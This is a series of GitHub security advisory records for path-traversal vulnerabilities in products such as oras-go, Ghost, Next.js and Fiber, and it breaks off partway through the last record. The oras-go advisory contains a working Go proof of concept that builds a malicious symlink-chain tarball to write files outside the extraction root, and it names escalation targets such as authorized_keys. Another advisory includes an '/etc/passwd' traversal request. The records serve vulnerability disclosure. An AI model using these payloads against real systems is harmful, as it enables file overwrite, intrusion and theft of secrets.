CWE-22

{
  "affected": [],
  "aliases": [
    "CVE-2024-47566"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-14T14:15:32Z",
    "severity": "MODERATE"
  },
  "details": "A improper limitation of a pathname to a restricted directory (\u0027path traversal\u0027) [CWE-23] in Fortinet FortiRecorder version 7.2.0 through 7.2.1 and before 7.0.4 allows a privileged attacker to delete files from the underlying filesystem via crafted CLI requests.",
  "id": "GHSA-m343-65m6-2r6j",
  "modified": "2025-01-14T15:30:54Z",
  "published": "2025-01-14T15:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47566"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-401"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.4.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41383"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T18:14:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBefore OpenClaw 2026.4.2, the OpenShell mirror backend accepted arbitrary absolute `remoteWorkspaceDir` and `remoteAgentWorkspaceDir` values. In mirror mode, those paths were then used as the target of remote cleanup and overwrite operations.\n\n## Impact\n\nIf an attacker could influence those OpenShell config values, mirror sync could delete the contents of an unintended remote directory and replace them with uploaded workspace data. This was a destructive remote-path bug in the mirror-sync path.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.1`\n- Patched versions: `\u003e= 2026.4.2`\n- Latest published npm version: `2026.4.1`\n\n## Fix Commit(s)\n\n- `b21c9840c2e38f4bb338d031511b479d5f07ca25` \u2014 constrain OpenShell mirror sync roots\n\n## Release Process Note\n\nThe fix is present on `main` and is staged for OpenClaw `2026.4.2`. Publish this advisory after the `2026.4.2` npm release is live.\n\nThanks @jufeng123768 for reporting.",
  "id": "GHSA-m34q-h93w-vg5x",
  "modified": "2026-04-28T18:17:19Z",
  "published": "2026-04-07T18:14:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-m34q-h93w-vg5x"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/b21c9840c2e38f4bb338d031511b479d5f07ca25"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: OpenShell mirror mode could delete arbitrary remote directories when roots were mis-scoped"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "4.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-6184"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:44:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Next.js 4 before 4.2.3 has Directory Traversal under the `/_next` request namespace.",
  "id": "GHSA-m34x-wgrh-g897",
  "modified": "2022-04-28T20:13:30Z",
  "published": "2018-01-24T19:38:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6184"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-m34x-wgrh-g897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/releases/tag/4.2.3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zeit/next.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Directory traversal vulnerability in Next.js"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-26315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-28T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "qrcp through 0.8.4, in receive mode, allows ../ Directory Traversal via the file name specified by the uploader.",
  "id": "GHSA-m354-cj5j-hjp9",
  "modified": "2022-03-17T00:04:41Z",
  "published": "2022-03-01T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/claudiodangelis/qrcp/issues/223"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "uv-tj-demo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16200"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:22:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `uv-tj-demo` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
  "id": "GHSA-m362-87jc-f39v",
  "modified": "2023-09-05T23:04:08Z",
  "published": "2020-09-01T18:16:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16200"
    },
    {
      "type": "WEB",
      "url": "https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/uv-tj-demo"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/428"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Directory Traversal in uv-tj-demo"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-7249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-12T16:15:14Z",
    "severity": "MODERATE"
  },
  "details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in OpenText OpenText Directory Services allows Path Traversal.This issue affects OpenText Directory Services: from 16.4.2 before 24.1.",
  "id": "GHSA-m37f-qr93-p7wv",
  "modified": "2024-08-13T18:31:14Z",
  "published": "2024-08-12T18:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7249"
    },
    {
      "type": "WEB",
      "url": "https://support.opentext.com/csm?id=kb_article_view\u0026sysparm_article=KB0807814"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:A/V:D/RE:L/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.6.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "oras.land/oras-go/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85731"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T17:15:57Z",
    "nvd_published_at": "2026-09-16T17:18:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store\u0027s working directory under the default `AllowPathTraversalOnWrite=false` configuration \u2014 a canonical tar-slip \u2192 RCE primitive.\n\n### Details\n**Affected versions:** `\u003c= v2.6.1`\n\n**Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` \u2014 reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: \"true\"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer.\n\n**Root cause 1 \u2014 lexical link validation.** `content/file/utils.go` lines 264\u2013275, `ensureLinkPath`:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n        // resolve link\n        path := target\n        if !filepath.IsAbs(target) {\n                path = filepath.Join(filepath.Dir(link), target)\n        }\n        // ensure path is under baseAbs or baseRel\n        if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n                return \"\", err\n        }\n        return target, nil\n}\n```\n\n`filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components.\n\n**Root cause 2 \u2014 parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247\u2013257, inside `resolveRelToBase`:\n\n```go\n// No symbolic link allowed in the relative path\ndir := filepath.Dir(path)\nfor dir != \".\" {\n        if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {\n                ...\n        } else if info.Mode()\u0026os.ModeSymlink != 0 {\n                return \"\", fmt.Errorf(\"no symbolic link allowed between %q and %q\", baseRel, target)\n        }\n        dir = filepath.Dir(dir)\n}\n```\n\nFor an entry named `\u003ctitle\u003e/escape`, `path == \"escape\"` and `filepath.Dir(\"escape\") == \".\"`, so the loop body never executes \u2014 the entry itself is never `Lstat`-checked.\n\n**Root cause 3 \u2014 write follows symlinks.** `content/file/utils.go` line 279, `writeFile`:\n\n```go\nfile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)\n```\n\nNo `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target.\n\n**Data flow / exploit construction.** Let `baseAbs = \u003cworkingDir\u003e/\u003ctitle\u003e` and `N = depth(baseAbs)` (number of path components from `/`). The attacker\u0027s tar.gz contains, in order:\n\n1. `N` nested directories `\u003ctitle\u003e/d0/d1/\u2026/d{N-1}`.\n2. A symlink `\u003ctitle\u003e/d0/\u2026/d{N-1}/up` \u2192 `\"../../\u2026\"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry.\n3. A symlink `\u003ctitle\u003e/escape` \u2192 `\"d0/\u2026/d{N-1}/up/../../\u2026/\u003cabsTarget\u003e\"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, \"d0/\u2026/up/../\u2026/\u003cabsTarget\u003e\")` cancels the `N` `..` against `up` plus `d{N-2}\u2026d0`, yielding `baseAbs/d0/\u003cabsTarget\u003e` \u2014 inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/\u003cabsTarget-parents\u003e`, none of which are symlinks (they don\u0027t exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/\u2026/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `\u003cabsTarget\u003e` is appended \u2014 the symlink points at the attacker-chosen absolute path.\n4. A regular file `\u003ctitle\u003e/escape` (same name). `resolveRelToBase(\"escape\")` yields `dir == \".\"` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker\u0027s payload through the symlink to `\u003cabsTarget\u003e`.\n\n**Why v2.6.1\u0027s `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` \u2192 `extractTarGzip` \u2192 `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1.\n\n**Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations.\n\n### PoC\n```\ngo mod init poc\ngo get oras.land/oras-go/v2@v2.6.1\ngo run .\n```\n\n```go\n// Arbitrary file write outside a default-configured file.Store via\n// symlink-chain bypass in content/file.extractTarDirectory.\n//\n// ensureLinkPath() validates symlink targets purely lexically with\n// filepath.Join, which collapses \"..\" textually and does not follow\n// intermediate symlink components. By first planting a deep \"up\" symlink\n// that legitimately resolves to the extraction root, an \"escape\" symlink\n// can be crafted whose lexical target stays in-bounds but whose\n// kernel-resolved target is any absolute path. A follow-up TypeReg entry\n// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),\n// writing through the symlink.\n//\n// Realistic trigger: oras.Copy() from an untrusted registry into a\n// file.New() store. The attacker controls the manifest (sets\n// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.\n// All digests are honest, so content verification passes.\npackage main\n\nimport (\n        \"archive/tar\"\n        \"bytes\"\n        \"compress/gzip\"\n        \"context\"\n        _ \"crypto/sha256\"\n        \"fmt\"\n        \"os\"\n        \"path/filepath\"\n        \"strings\"\n\n        \"github.com/opencontainers/go-digest\"\n        ocispec \"github.com/opencontainers/image-spec/specs-go/v1\"\n        \"oras.land/oras-go/v2/content/file\"\n)\n\nfunc main() {\n        if err := run(); err != nil {\n                fmt.Println(\"ERROR:\", err)\n                os.Exit(1)\n        }\n}\n\nfunc run() error {\n        ctx := context.Background()\n\n        // Victim\u0027s working directory for the file store.\n        workDir, err := os.MkdirTemp(\"\", \"oras-victim-*\")\n        if err != nil {\n                return err\n        }\n        defer os.RemoveAll(workDir)\n        fmt.Println(\"[*] file.Store working dir:\", workDir)\n\n        // Target path the attacker wants to write, OUTSIDE workDir.\n        // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;\n        // a temp path keeps the demo self-contained.)\n        outsidePath := filepath.Join(os.TempDir(), \"oras-PWNED\")\n        _ = os.Remove(outsidePath)\n        defer os.Remove(outsidePath)\n        fmt.Println(\"[*] attacker target (outside workDir):\", outsidePath)\n\n        // The layer\u0027s AnnotationTitle. extractTarDirectory uses this as both the\n        // in-tar prefix and the on-disk subdir under workDir.\n        const title = \"out\"\n        baseAbs := filepath.Join(workDir, title)\n\n        // N nested dirs + a symlink \"up\" -\u003e N*\"../\" so that after the kernel\n        // follows \"up\" (landing at baseAbs) the remaining N lexical \"..\"\n        // components climb from baseAbs to \"/\". N must be \u003e= depth(baseAbs).\n        depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), \"/\"), \"/\"))\n        fmt.Printf(\"[*] baseAbs depth = %d, building %d nested dirs\\n\", depth, depth)\n\n        gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)\n        if err != nil {\n                return err\n        }\n\n        // Descriptor exactly as it would appear in a manifest\u0027s \"layers\" array.\n        desc := ocispec.Descriptor{\n                MediaType: \"application/vnd.oci.image.layer.v1.tar+gzip\",\n                Digest:    dgst,\n                Size:      size,\n                Annotations: map[string]string{\n                        ocispec.AnnotationTitle: title,\n                        file.AnnotationUnpack:   \"true\",\n                },\n        }\n\n        // Victim creates a file store with default settings (path traversal DISALLOWED).\n        store, err := file.New(workDir)\n        if err != nil {\n                return err\n        }\n        defer store.Close()\n        fmt.Println(\"[*] store.AllowPathTraversalOnWrite =\", store.AllowPathTraversalOnWrite)\n\n        // This is exactly what oras.Copy() invokes per layer.\n        if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {\n                return fmt.Errorf(\"Push: %w\", err)\n        }\n\n        // Check whether the out-of-tree file was written.\n        if data, err := os.ReadFile(outsidePath); err == nil {\n                rel, _ := filepath.Rel(workDir, outsidePath)\n                fmt.Printf(\"\\n[!] BYPASS: wrote %q to %s\\n\", string(data), outsidePath)\n                fmt.Printf(\"[!] relative to workDir: %s\\n\", rel)\n                fmt.Println(\"[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\")\n                return nil\n        }\n        fmt.Println(\"\\n[-] no escape (file not created at\", outsidePath, \")\")\n        return nil\n}\n\n// buildMaliciousLayer builds a tar.gz that, when extracted by\n// content/file.extractTarDirectory under \u003cworkDir\u003e/\u003ctitle\u003e, writes to outsidePath.\nfunc buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {\n        var buf bytes.Buffer\n        gzw := gzip.NewWriter(\u0026buf)\n        tw := tar.NewWriter(gzw)\n\n        // 1. Nested directories: title/d0/d1/.../d{depth-1}\n        dirs := make([]string, depth)\n        for i := 0; i \u003c depth; i++ {\n                dirs[i] = fmt.Sprintf(\"d%d\", i)\n        }\n        for i := 1; i \u003c= depth; i++ {\n                name := title + \"/\" + strings.Join(dirs[:i], \"/\")\n                if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {\n                        return nil, \"\", 0, err\n                }\n        }\n\n        // 2. \"up\" symlink at the bottom, pointing back to baseAbs via depth*\"../\".\n        //    Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.\n        upName := title + \"/\" + strings.Join(dirs, \"/\") + \"/up\"\n        upTarget := strings.Repeat(\"../\", depth-1) + \"..\"\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        // 3. \"escape\" symlink at title/escape.\n        //    Target = d0/.../d{N-1}/up/../.. (N times) /\u003coutsidePath\u003e\n        //    LEXICAL clean: the N \"..\" cancel \"up\" + (N-1) dirs, leaving\n        //      d0/\u003coutsidePath\u003e  - INSIDE baseAbs, so ensureLinkPath accepts it.\n        //    KERNEL: d0/.../up follows the symlink to baseAbs, then N*\"..\"\n        //      climbs to \"/\", then appends outsidePath.\n        dots := strings.Repeat(\"../\", depth-1) + \"..\"\n        escapeTarget := strings.Join(dirs, \"/\") + \"/up/\" + dots + outsidePath\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: title + \"/escape\", Linkname: escapeTarget, Mode: 0o777}); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        // 4. Regular file entry at title/escape - same path as the symlink.\n        //    resolveRelToBase(\"escape\") has dir==\".\" so the per-component Lstat\n        //    loop never runs; writeFile opens with O_CREATE|O_TRUNC (no\n        //    O_NOFOLLOW) and writes through the symlink to outsidePath.\n        payload := []byte(\"PWNED-BY-ORAS-TARSLIP\")\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeReg, Name: title + \"/escape\", Mode: 0o644, Size: int64(len(payload))}); err != nil {\n                return nil, \"\", 0, err\n        }\n        if _, err := tw.Write(payload); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        if err := tw.Close(); err != nil {\n                return nil, \"\", 0, err\n        }\n        if err := gzw.Close(); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        data := buf.Bytes()\n        return data, digest.FromBytes(data), int64(len(data)), nil\n}\n```\n\nExpected output (paths vary):\n\n```\n[*] file.Store working dir: /tmp/oras-victim-209731351\n[*] attacker target (outside workDir): /tmp/oras-PWNED\n[*] baseAbs depth = 3, building 3 nested dirs\n[*] store.AllowPathTraversalOnWrite = false\n\n[!] BYPASS: wrote \"PWNED-BY-ORAS-TARSLIP\" to /tmp/oras-PWNED\n[!] relative to workDir: ../oras-PWNED\n[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\n```\n\n### Impact\n**Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` \u2014 e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store \u2014 with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk.\n\n**What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` \u2014 i.e. remote code execution on the victim host.\n\n**Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim\u0027s working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).",
  "id": "GHSA-m37j-52j7-pjw7",
  "modified": "2026-09-17T17:15:57Z",
  "published": "2026-09-17T17:15:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-m37j-52j7-pjw7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85731"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/commit/adab2f25ea95ef4e6e41f50db9266a6701399422"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oras-project/oras-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ghost"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.20.0"
            },
            {
              "fixed": "6.64.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-105676"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:26:14Z",
    "nvd_published_at": "2026-10-05T20:17:14Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA vulnerability in how Ghost loads theme translation files allowed an authenticated Administrator to read JSON files outside of the active theme\u0027s directory, potentially exposing server configuration secrets.\n\n### Vulnerable versions\n\nThis vulnerability is present in Ghost from v1.20.0 up to v6.64.0.\n\n### Patches\n\nv6.64.0 contains a fix for this issue.\n\n### How to update\n\nFor self-hosters using Docker, find [Docker\u0027s official Ghost image here](https://hub.docker.com/_/ghost). Updating a Docker-based Ghost instance [is documented here](https://docs.ghost.org/install/docker#updating-ghost).\n\nIf your Ghost is a Ghost-CLI install see our documentation on [updating it to the latest version here](https://docs.ghost.org/update).\n\n### References\n\nGhost thanks Miguel Segovia Gil of KPMG and [Nguy\u1ec5n Qu\u1ed1c \u0110\u1ed3ng](https://github.com/DONG2209) for disclosing this vulnerability responsibly.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at [security@ghost.org](mailto:security@ghost.org).",
  "id": "GHSA-m382-6jw4-fmp6",
  "modified": "2026-10-07T20:26:14Z",
  "published": "2026-10-07T20:26:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-m382-6jw4-fmp6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105676"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/issues/30635"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/pull/30635"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/commit/d2f498694be549074dd5817fd0e8a1371b65df02"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TryGhost/Ghost"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/releases/tag/v6.64.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ghost: Path Traversal via Locale Setting"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gofiber/fiber/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T20:51:01Z",
    "nvd_published_at": "2026-02-24T22:16:31Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n**Description**\nA Path Traversal (CWE-22) vulnerability in Fiber allows a remote attacker to bypass the static middleware sanitizer and read arbitrary files on the server file system on Windows. This affects Fiber v3 through version 3.0.0. This has been patched in Fiber v3 version 3.1.0.\n \n### Details\nThe vulnerability resides in `middleware/static/static.go` within the `sanitizePath` function. This function attempts to sanitize the requested path by checking for backslashes, decoding the URL, and then cleaning the path.\n\nThe vulnerability stems from two combined issues:\n- The check for backslash characters happens before the URL decoding loop. If an attacker sends a double-encoded backslash, the initial check sees `%255C` and passes. The loop then decodes this into a single backslash.\n- The function uses `path.Clean` to clean the resulting string. `path.Clean` is designed for slash-separated paths  and does not recognize backslashes as directory separators. Consequently, sequences like `..\\..\\` are treated as valid filenames.\n\nWhen this sanitized path is later used, the backslashes are interpreted as valid separators, allowing the attacker to traverse up the directory tree.\n```go\n// pkg/static/static.go\nfunc sanitizePath(p []byte, filesystem fs.FS) ([]byte, error) {\n    ...\n    // this check happens BEFORE decoding\n    if bytes.IndexByte(p, \u0027\\\\\u0027) \u003e= 0 {\n        ...\n    } \n    // This loop decodes %255C to %5C to \\\n    for strings.IndexByte(s, \u0027%\u0027) \u003e= 0 {\n        us, err := url.PathUnescape(s)\n        ...\n        s = us\n    }\n    // path.Clean only understands forward slashes (/)\n    s = pathpkg.Clean(\"/\" + s)\n    ...\n    return utils.UnsafeBytes(s), nil\n}\n```\n\n### Impact\n\nThis impacts Fiber v3 prereleases through stable release version 3.0.0.\n\nSuccessful exploitation requires the server to be using the static middleware on Windows, as this is the only OS where backslashes are treated as directory separators by the file system.\n\nExploitation allows directory traversal on the host server. An attacker can read arbitrary files within the scope of the application server context. Depending on permissions and deployment conditions, attackers may access sensitive files outside the web root, such as configuration files, source code, or system files. Leaking application secrets often leads to further compromise.\n\n### Patches\n\nThis has been [patched](https://github.com/gofiber/fiber/pull/4064) in Fiber v3 version 3.1.0.  Users are strongly encouraged to update to the latest available release.",
  "id": "GHSA-m3c2-496v-cw3v",
  "modified": "2026-02-27T20:04:39Z",
  "published": "2026-02-24T20:51:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/security/advisories/GHSA-m3c2-496v-cw3v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25891"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/pull/4064"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/commit/59133702301c2ab7b776dd123b474cbd995f2c86"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gofiber/fiber"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4540"
    }
  ],
